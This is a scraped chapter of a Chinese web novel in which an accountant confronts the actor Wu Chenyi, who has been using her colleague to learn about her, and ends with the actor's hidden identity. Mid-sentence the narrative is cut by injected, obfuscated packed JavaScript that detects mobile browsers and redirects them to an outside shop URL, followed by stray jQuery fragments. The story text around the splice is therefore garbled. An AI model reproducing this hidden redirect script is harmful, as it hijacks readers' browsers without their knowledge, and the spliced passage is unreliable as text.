默认冷灰
24号文字
方正启体

5. 第005章

作者:黑木花本书字数:K更新时间:
    自从那次以后,小可再也没有给许者清带过吃的。


    许者清不是没怀疑过自己是否太敏感,可想来想去,“巧合”实在太多,种种迹象都指向同一个方向,她不能不提防。


    在商场工作的她,原本习惯用公司发的饭卡在食堂解决三餐,图个方便卫生,可自从那一次,小可带她去了商场后巷,那方她曾经嫌不干净的角落,竟也成了不时踏足之处。


    这条巷子窄而深,藏在热闹的商场背面,却自成一片天地,各色小吃招牌挨挨挤挤,从清早炸油条的滋啦声,到深夜烧烤摊的炭火气,整天飘着热闹的烟火味。


    小可请了她许多回,许者清总觉得该还一次人情。


    这个午休,她便主动叫上了小可。


    两人熟门熟路钻进后巷,在一家招牌被油烟熏得发亮的店前停下。许者清嗜辣,又不易长痘,吃起辣来更理直气壮,小可则偏好清淡。


    两碗麻辣烫很快上桌,一碗飘着红油与芝麻,一碗清汤透亮,能看见碗底沉着的几片香菇和枸杞。


    许者清掰开一次性木筷递过去。


    小可接过,笑容里早没了当初那种小心翼翼的、急于讨好的热切,自然了许多。


    美食当前,两人大快朵颐。


    胃里的馋虫被安抚大半后,许者清搁下筷子。


    “小可,”她开口,声音在嘈杂背景音里依然清丽,“你之前那些美食券……到底哪儿来的?”


    小可嘴角上扬:“对吧!你也觉得我运气特好吧?我都不敢跟别人说,怕拉仇恨。”


    “怎么说?”


    “这不明摆着是炫耀嘛!”小可理所当然,“不是所有人都能得到邬陈奕哥的好,他简直把我当妹妹宠。”


    许者清笑了笑,没应声。


    小可继续道:“他还问我呢,在哪儿上班,做什么工作。”


    见许者清眉头微蹙,小可急忙解释:“姐你别误会!奕哥就是随口关心!他还教我,说我年纪小,在职场不用想着讨好所有人,找准一个靠谱的前辈,真心对她好,站稳脚跟就容易多了。”


    许者清安静听着,这番话听来确实是前辈对后辈的提点。


    可她心底那点疑虑,并没有消散。


    一个艺人,真有那么多闲工夫,如此细致地“关怀”一个小粉丝的职场人际?


    小可看出她的怀疑,当即掏出手机:“你看,奕哥真的就是人好!”


    许者清目光扫过屏幕。


    上面的内容大多是鼓励和关心。


    直到她的目光定格在最后几行——


    【你可以多问问上次提过的那位漂亮姐姐,看她喜欢什么、喜欢吃什么。】


    许者清脸色骤变。


    她的手指微微收紧,视线从屏幕移开,落在小可依然洋溢着分享喜悦的脸上,那双眼睛里没有试探,只有纯粹的、被信任的“奕哥”关怀后的光亮。


    她看出来小可是真的不知情,而是被巧妙的“利用”。


    所有的线索,在此刻严丝合缝。


    原来如此。


    这一切,应是邬陈奕打着关心后辈的旗号,来套取她的信息。


    许者清倒抽一口冷气,话涌到嘴边,却又被生生堵了回去。


    她什么都不能说。


    没有确凿证据的推测,说出来只会显得自己多疑。更何况,她一点都不想提及与邬陈奕之间的那些牵扯。


    她最终只是低下头,挑起碗里那片浸满红油的豆皮,送入口中慢慢咀嚼,将所有翻腾的思绪,也一同咽下去。


    又过了两天,王经理在晨会上提及,邬陈奕主演的短剧剧组下周要来商场做路演。


    小可第一个跳起来:“真的吗?!是不是能看到奕哥本人?!”


    办公室气氛霎时活络。


    唯独许者清整张脸沉了下去。


    真是……冤家路窄。


    她抬眼,语气平静:“经理,路演那天,我正好需要去趟税务局。”


    王经理爽快点头:“行,办正事要紧。”


    路演如期举行,也如期结束。


    许者清在税务局待了大半天,成功避开了这场热闹。


    路演过后的某天晚上,许者清独自留在办公室加班。


    春末的夜晚,空气里已有隐约潮热,开了空调却又有些冷。


    她从柜子里翻出旧衬衫披上,继续敲键盘。


    办公室的固定电话响了。


    是王经理:“小许,你还在公司吧?帮我看看我桌上是不是有个牛皮纸文件袋。”


    许者清起身,目光扫过王经理收拾得一丝不苟的桌面,一个文件袋正横在正中央。


    她放下听筒走过去,拿起来,上面用黑色粗笔写着“蓝风影视”四个字。


    她拿起电话:“找到了,是写着‘蓝风影视’的那个吗?”


    “对,就是这个。”王经理在电话那头顿了顿,“那天路演你不在,这是他们来财务部谈事时落下的。刚联系上我,说急用,他们王总现在亲自过来取。”


    “现在?”许者清看了眼窗外夜色。


    “嗯,麻烦你等一下,亲手交给他就行。”


    “好。”


    挂掉电话,许者清继续工作。


    数字在表格里跳跃,光标一闪一闪。


    终于做完时,颈后的酸胀让她忍不住揉着脖子起身。


    窗外,天色不知何时已沉了下去。


    她刚走到窗边想伸个懒腰——


    敲门声响了起来。


    “请进。”


    门被轻轻推开。


    转身的刹那,她猝不及防地撞进了一双冷沉的眼里。


    许者清呼吸微微一滞,她早猜到“蓝风影视”是他的公司,可王经理明明说的是王总……来的怎么会是邬陈奕?


    疑惑让目光带上了审视,看着看着,却忽然觉出些不同。


    眼前的人,和片场那个衬衫半敞、眼神带钩的“霸总”判若两人。


    此刻,他只穿了件浅灰衬衫,袖子随意挽到手肘,头发松软地搭在额前。一身闲适的打扮,却因挺拔的肩线与垂眸时沉静的神态,透出一股松弛的矜贵。


    他就那样静静站着,不说话,也不靠近,办公室的灯落在此人身上,竟让那低垂的眼睫透出几分……柔软的错觉。


    是的,一定是错觉。


    许者清定了定神,垂眸不语。


    邬陈奕的目光仍停在她那里。


    他的视线停留了片刻,久到几乎要越过寻常社交的界限。然后,那目光轻轻一垂,在她唇边掠过极淡的一道弧,便收了回去。


    这时王蓝河才进来:“您好,我们和王经理约好了,来拿东西。”


    许者清看向他:“您是蓝风影视的王总?”


    “对。”王蓝河笑着,余光瞥了眼旁边站得笔直却僵硬的邬陈奕,“这位是我们公司的合伙人,也是主演,邬陈奕。你应该看过我们的戏吧?”


    许者清低下头,用一种微妙对抗的态度整理桌面文件:“一部都没看过。”


    邬陈奕视线轻抬,转向她侧脸:“没看过?”


    “嗯。”许者清点头,目光仍然朝下。


    同学聚会戴面具装服务员、利用小可套她喜好……这些“罪证”一股脑涌上来。


    她倏地抬眼,笔直地刺向他:“邬陈奕,同学聚会你去了为什么不露面?”


    话音落下,她顿了一瞬,之后呼吸却更急了,“我们这些人……就不值得你给个正脸?”


    邬陈奕没说话,目光沉静,像在认真听每一个字。


    王蓝河笑着打圆场:“你们是同学!这事儿是这样,我们正好要在金穹酒店取景,经理非要送我们一晚体验。我就出了个馊主意,让邬陈奕扮服务员混进去。因为他不是科班出身,对自己要求又高,演戏得靠体验,下一场戏正好有类似桥段,所以……”


    他解释时,许者清一直紧盯着邬陈奕,眉头深锁,唇线抿直。


    她知道这种注视的压迫感有多重,一般人被这样看着,要么尴尬移开视线,要么直接回瞪过来。


    但邬陈奕两者都不是,他偏开头,避开了她的直视,可不过两三秒,他的视线又像不受控制般,轻轻落回她脸上。


    这一切,被旁边的王蓝河尽收眼底,他嘴角勾起一点玩味的弧度,视线在两人之间打转。


    许者清实在盯累了,觉得没意思,别开了眼。


    她转身回到工位,拿出个签收本,写上内容名称,将其递过去,“王总,麻烦签个字。”


    王蓝河签好字,直起身。


    许者清重新看向邬陈奕,目光里的火气已压下去大半。


    她还是等了几秒,等自己的声音彻底平稳下来,才开口:“就算是为了体验角色,事后你也可以光明正大地出现。而不是戴个面具,躲在我们眼皮底下。”


    说完,她停了几秒,目光在对方脸上停留顷刻,兀自摇了摇头。


    “邬陈奕,你真不成熟。”


    邬陈奕定在原处,下颌线微微绷紧,唇抿成一条直线,像在用力压住某种即将破壳的情绪。


    王蓝河瞥了他一眼,以为他是不高兴了,笑着插话:“您方便给张名片吗?以后财务上的事,可能还需要联系。”


    许者清顿了顿,从


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591058|205463||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抽屉里取出米白色名片,双手递给王蓝河:“您联系我或王经理都可以。”


    “好的,谢谢许会计。”王蓝河接过,拉着邬陈奕往外走。


    出了门,邬陈奕还有些失神。


    王蓝河用胳膊肘碰了碰他:“醒一醒,邬总。”


    邬陈奕勾起嘴角,很轻地笑了一下。


    “兄弟,这什么情况……我可没看见有人敢这么和你说话!”王蓝河挑眉,“那语气跟训狗一样……换我可不干。”


    “她讨厌的不是我。”邬陈奕望着空处,眼里浮着柔光。


    王蓝河把手一摊,歪了歪脑袋,笑了笑,从口袋里摸出许者清的名片,往他手里一塞,


    邬陈奕接过来,垂眼看向那张薄薄的卡片。


    两人在一楼电梯口分开。


    邬陈奕独自走向室外停车场。


    夜风轻悄,吹起他额前碎发。


    他坐进驾驶座,关上车门。


    密闭的空间隔绝了外界,刚才在许者清办公室里努力压住的那股情绪,此刻终于没了顾忌。


    他把头抵在方向盘上,低笑起来。


    直到胃里传来一阵清晰的鸣叫——他才想起自己还没吃晚饭。


    笑意渐渐收住。


    他揉了揉胃,推门下车,转身往商场后巷走去。


    后巷里,许者清站在关东煮小摊前,扫码付了最后一份萝卜的钱。


    夜市将散,地面一片狼藉,油渍和水渍混在一起,泛着腻光。


    一位耳背的阿婆推着满载纸板的小车经过,车身蹭到她的后背。


    她脚下一滑,惊呼着向后倒去——


    一只有力的手臂突然揽过她的腰,将她稳稳接住。


    四目相对。


    许者清惊悸未平,瞳孔里映出邬陈奕近在咫尺的脸。


    差一点摔倒的后怕,对邬陈奕积压的闷气,以及此刻过分亲密的肢体接触……所有错乱的感觉拧成一股尖锐的羞恼,猛地冲上头顶。


    她抬手就扇了过去——“啪!”


    巴掌声脆响,男人偏过头,左颊迅速泛起红痕,怔在原地没动。


    许者清呼吸一滞,脑中念头飞转——他会还手吗?要道歉吗?道歉显得懦弱,不道歉可能激化……


    还没理清,就见他喉结滚了一下。


    许者清屏住呼吸。


    结果他却慢慢转回脸,嘴角一勾,眼神倏地换上了那种短剧里才合适的、放在现实中却显得夸张又矫情的“霸总”神气。


    接着,压着嗓子用油腻又认真的腔调说:“女人,我不能容忍你在我面前摔倒。我要为把这条街全部铺上防滑地砖。”


    冲动打人的那点歉疚,瞬间被这股油劲儿冲得干干净净。


    许者清牙关一紧,伸手拧住他胳膊,狠狠转了一圈。


    拧完,她甩开手,转身就走,一次也没回头。


    剩下邬陈奕一个人。


    他看着许者清消失的方向,直到那道身影彻底融入街角,才缓缓转过身。


    明明人已走远,他却仍像怕被瞧见似的,特意背对着她离开的街口,才极轻地牵了下嘴角。


    平日里冷峻惯了的人,难得试着用幽默化解尴尬,举动难免生涩。


    可对自己这番刻意的掩饰,他竟觉得……很有趣味。


    到家,邬陈奕站在浴室的镜前。


    左脸颊上,指印清晰可见,边缘泛着淡淡的红。


    他举起手机,拍了张照片,发给王蓝河。


    对方立刻拨来语音:“你跟人打架了?”


    “我记得有一场戏,男主不是被女主打耳光吗?”


    这位艺名叫邬陈奕的男子对着镜子,指腹碰了碰红肿处,“明天趁我这脸还红着,先把那场拍了,省得化太浓的妆。”


    王蓝河在那边大笑:“你是不是有病?被打了还这么高兴,工作热情都高涨了?”


    邬陈奕笑而不语,目光没离开镜子,他全然观察着这张脸。


    “蓝河,”他忽然开口,“她刚才看我的眼神,和七年前看他一模一样。”


    电话那头顿了一下:“……什么眼神?”


    “看不上、嫌弃的眼神。”邬陈奕说完,很轻地笑了一声。


    王蓝河似乎不知道说什么好,叹了口气,说了句晚安。


    电话挂断,耳边的寂静骤然变得具体。


    邬陈奕看着镜中的自己,看着眼睛里慢慢漾开的、再也压不住的笑意。


    “她打的是邬陈奕又不是我。”


    他对着镜子,用只有自己能听见的气音,补上了后半句:


    “我是邬风。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)